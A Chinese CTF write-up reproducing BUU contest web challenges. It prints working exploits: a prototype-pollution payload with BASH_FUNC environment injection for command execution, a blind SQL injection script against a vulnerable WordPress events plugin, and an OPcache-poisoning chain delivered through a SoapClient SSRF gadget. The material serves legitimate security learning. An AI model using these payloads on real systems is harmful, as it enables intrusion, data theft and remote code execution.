0x01 前言 十一月的buu比赛没时间打,后续有时间就打算复现了一下,有一道 java 题环境关了没复现成还是挺可惜的。
0x02 题目复现 realrce 题目附件是源码
node.js写的,主要看app.js的代码
就定义了一个根路由,首先分析这个代码比较关键的点
proc_execSync函数执行命令,将命令执行的结果返回给客户端,所以想要rce,必须对cmd_rce赋值,而cmd_rce属性在代码之前并没有定义,在上面有merge函数处理,可以利用原型链污染对cmd_rce赋值。
在这个函数里cmd_rce的过滤
cmd_rce.replace(/\r?\n/g,"") 替换换行符 replace(/[a-zA-Z0-9 ]+=[a-zA-Z0-9 ]+/g,"114514") 替换形如key=value格式的内容 replace(/(\$\d+)|(\$SHELL)|(\$_)|(\$\()|(\${)/g,"114514") 替换形如$132等格式的内容 replace(/(\'\/)|(\"\/)|(\"\.)|(\"\.)|(\'~)|(\"~)|(\.\/+)/,"114514") replace(/(\'\/)|(\"\/)|(\"\.)|(\"\.)|(\'~)|(\"~)|(\.\/+)/,"114514") 替换例如/path,/dir/格式的内容
限制的真多,但是在这道题还远远不止,继续往下看
首先对我们输入的内容进行waf过滤
类似于一个递归函数,先将输入的内容url解码,然后检测黑名单,这三个就是原型链污染的关键字符串。常规的绕过是不可行的,在捕获异常这可以返回 false,尝试让 decodeURIComponent 函数报错就可以了
decodeURIComponent 是一个url解码函数,当输入的字符串不满足这个函数解码的格式就会抛出异常,那怎么找到这个错误格式的url编码呢,可以满足上面代码的匹配规则然后遍历url编码
%ff就能够满足条件
那么waf就能够绕过成功了,继续往下看,进入到 Door_lock 函数
要让 Door_lock 函数返回true,即要满足 if判断条件,首先看 LockCylinder 函数
对输入的内容过滤掉黑名单中的字符,然后赋值为key,key必须要满足为纯字母
继续看 check_cmd 函数b
过滤的东西太多了,截图截不下来。该题目的环境变量没删,所以有非预期,执行env即可得到flag
而出题人写的WP是利用环境变量注入来RCE
我是如何利用环境变量注入执行任意命令 | 离别歌 (leavesongs.com)
p神好久之前写的了,放官方exp
{ "msg" : { "name" : "%ff" , "age" : 25 , "city" : "Example City" , "__proto__" : { "cmd_rce" : "env $'BASH_FUNC_echo%%=() { id;}' bash -c 'echo 123'" } } }
为啥这个exp能够绕过waf,回头继续看 Door_lock 函数的过滤
在 check_cmd 函数中首先消去空格再进行过滤,黑名单写的挺多,但是检测的时候比较刁钻了
if (cmd.includes (command[i] + '&' ) || cmd.includes ('&' + command[i]) || cmd.includes (command[i] + '|' ) || cmd.includes ('|' + command[i]) || cmd.includes (';' + command[i]) || cmd.includes ('(' + command[i] ) || cmd.includes ('/' + command[i])) { return false ; }
再看另一个 LockCylinder 函数,它会去掉存在以下黑名单的字符
["&&", "||", "&", "|", ">", "*", "+", "$", ";"]
刚开始没太看懂是怎么绕过的,本地贴代码调试一下就明白了,所以说,分析代码还是得多调试
当遍历到$字符,满足黑名单检测,所以就将 env 字符串放进数组里,把exp分割了
最后正则检测的时候,只检测第一个数组元素,也就是env,显然是满足条件的。所以该exp是能够绕过waf并且能够任意命令执行。
waf写的很刁钻,好像是刻意为了满足环境变量注入rce的命令格式来写的,非常好奇还有没有其他能够任意命令执行的waf绕过方式。
EzPenetration 题目源自真实渗透案例
打开题目是一个 wordpress 的站点,扫描了一下目录,有个后台登录,其他的也没啥,看官方WP是用wpscan扫漏洞,但是我kali的wpscan死活扫不到。
扫出来的是一个sql注入:Registrations for the Events Calendar < 2.7.6 - Unauthenticated SQL Injection
查了一下,有poc
查看语句正确,回显success
查询语句错误,回显error
利用不同的回显可以盲注
稍微修改了一下官方wp的脚本
import requestsdef main (): session = requests.Session() result = '' i = len (result) while True : i = i + 1 head = 30 tail = 130 while head < tail: mid = (head + tail) >> 1 paramsPost = {"email" : "r3tr0young@gmail.com" , "event_id" : f"3 union select 1,2,3,4,5,6,7,8,9,database() from wp_users where 0^(select(select ascii(substr(group_concat(option_name,0x7e,option_value),{i} ,1)) from wp_options where option_id = 15)>{mid} )-- " } cookies = {"wordpress_test_cookie" : "WP%20Cookie%20check" } response = session.post("http://node4.buuoj.cn:26770/wp-admin/admin-ajax.php?action=rtec_send_unregister_link" , data=paramsPost,cookies=cookies) if "success" in response.text: head = mid + 1 else : tail = mid if head != 30 : result += chr (head) print (result) else : break if __name__ == '__main__' : main()
查询 wp_options 表的 option_name 和 option_value 两个字段,表中第十五行,爆破出管理员邮箱
在表中第十六行中,找到了类似于密码的东西
在后台登录页有个忘记密码,可以通过邮箱重置密码,然后登录到后台
复现的时候邮箱好像不管用了,登录到后台后安装 wp-file-manager 漏洞插件来rce。
single_php 0解题,打开题目,用 highlight_file 高亮函数来显示代码
一段很短的php代码,存在反序列化,但是只能执行一个无参的函数,例如phpinfo(),在上面html里还有另一个文件
只允许本地回环ip访问,看来只能打ssrf了,可以上传压缩包,并且解压到tmp目录下。唯一执行命令的地方就是exec,本来想着在上传的文件名注入命令,单引号闭合可以任意命令执行,但是回头再看,对上传的文件名重命名了,用的是tmp_name,貌似不可控
官方wp说是利用OPCACHE缓存文件来RCE,在比赛中我应该写不出来,因为根本没了解这个
现在开始了解,OPCACHE是php的一个扩展。当用户发出一个请求时,解析当前的php文件生成计算机代码opcode,然后执行。而OPCACHE扩展将解析好的php文件的字节码存放在共享内存中,当再次请求的php文件没有变化,它会去共享内存里拿,而避免了再次编译,直接执行内存里的opcode。减少计算机的开销。
相关文章:php7的Opcache getshell
执行phpinfo();看看题目中是否开启了这个扩展
<?php class siroha { public $koi = array ("zhanjiangdiyishenqing" =>"phpinfo" ); } $a = new siroha ();echo serialize ($a );
将缓存文件放在了tmp目录下,题目环境为8.2.10的php环境
本地拉一个相同环境的docker,下载该OPCACHE扩展,在自己容器上新建一个phpinfo,运行
在该目录下生成了一个phpinfo.php.bin二进制文件,也就是解析后的opcode
我们本地写一个能够任意命令执行的index.php,生成的缓存文件上传题目服务器,并且覆盖掉原有的缓存文件,当再次访问index.php,该文件的代码不发生变化,会直接执行缓存文件里的opcode,就能rce了。将本地的缓存文件下载下来,用010打开看
有一串md5值,也是tmp目录下的文件名,叫做system_id,计算的php代码
var_dump (md5 ("8.2.6API420220829,NTSBIN_4888(size_t)8\002" ));
而在题目环境中又开启了时间戳验证
所以只能写脚本上传了。首先本地docker里编写一个可以rce的index.php
然后将它的缓存文件下载下来,用脚本修改时间戳,并且伪造上传数据
直接贴上官方WP里的python脚本
import binasciiimport hashlibimport requestsimport reimport tarfileimport subprocessimport osurl = "http://12943d13-4210-4cf7-8219-8aa4761aef73.node4.buuoj.cn:81/?LuckyE=filectime" def timec (): pattern = r"\d{10}" timeres = requests.get(url=url) match = re.search(r"int\((\d{10})\)" ,timeres.text) try : ten_digit_number = match .group(1 ) print (ten_digit_number) return ten_digit_number except : print ('dame' ) def split_string_into_pairs (input_string ): if len (input_string) % 2 != 0 : raise ValueError("输入字符串的长度必须是偶数" ) pairs = [input_string[i:i+2 ] for i in range (0 , len (input_string), 2 )] return pairs def totime (time ): b = split_string_into_pairs(f"{hex (int (time))} " ) b.pop(0 ) s = '' for i in range (0 , len (b)): s += b[-1 ] b.pop(-1 ) return s def changetime (): with open ("index.php.bin" ,"rb" ) as file: binary_data = file.read() hex_data = binascii.hexlify(binary_data).decode('utf-8' ) new_data = hex_data[0 :128 ]+totime(timec())+hex_data[136 :] with open ("index.php.bin" ,"wb" ) as f: f.write(bytes .fromhex(new_data)) changetime() sys_id = hashlib.md5("8.2.10API420220829,NTSBIN_4888(size_t)8\002" .encode("utf-8" )).hexdigest() print (sys_id)def tar_file (): tar_filename = 'exp.tar' with tarfile.open (tar_filename,'w' ) as tar: directory_info = tarfile.TarInfo(name=f'{sys_id} /var/www/html' ) directory_info.type = tarfile.DIRTYPE directory_info.mode = 0o777 tar.addfile(directory_info) tar.add('index.php.bin' , arcname=f'{sys_id} /var/www/html/index.php.bin' ) def upload (): file = {"file" :("exp.tar" ,open ("exp.tar" ,"rb" ).read(),"application/x-tar" )} res = requests.post(url="http://12943d13-4210-4cf7-8219-8aa4761aef73.node4.buuoj.cn:81/siranai.php" ,files=file) print (res.request.headers) return res.request tar_file() request_content = upload() upload_body = str (request_content.body).replace("\"" ,"\\\"" ) content_length = request_content.headers['Content-Length' ] print (content_length)print (upload_body)
将生成的请求体数据封装在 SoapClient 内置类里,序列化
<?php class siroha { public $koi ; } $postdata ="" ;try { $a = new SoapClient (null , array ('location' => "http://127.0.0.1/siranai.php" , 'user_agent' => "Enterpr1se\r\n" . "Cookie: PHPSESSION=16aaab9fb\r\nContent-Type: multipart/form-data; boundary=" . substr ($postdata , 2 , 32 ) . "\r\nConnection: keep-alive\r\nAccept: */*\r\nContent-Length: 10416" . "\r\n\r\n" . $postdata , 'uri' => "http://127.0.0.1/siranai.php" )); } catch (SoapFault $e ) { } $b = new siroha ();$b ->koi=["zhanjiangdiyishenqing" =>[$a ,"nnnnn" ]];echo urlencode (serialize ($b ));
这里调用 SoapClient 对象的不存在的nnnnn方法,会触发call方法。burp发包
这里实际上已经覆盖掉了,页面回显发生变化,实际上就是直接运行了我们上传的opcode,还挺神奇的
这就已经成功拿到shell了。
ezfastjson 题目环境关了,本来挺想复现这个题的,期望后续环境能开。
官方wp:https://dxh3b3fqgc3.feishu.cn/docx/HkgmdV6Fgom3P0x0iUscKxYZnLd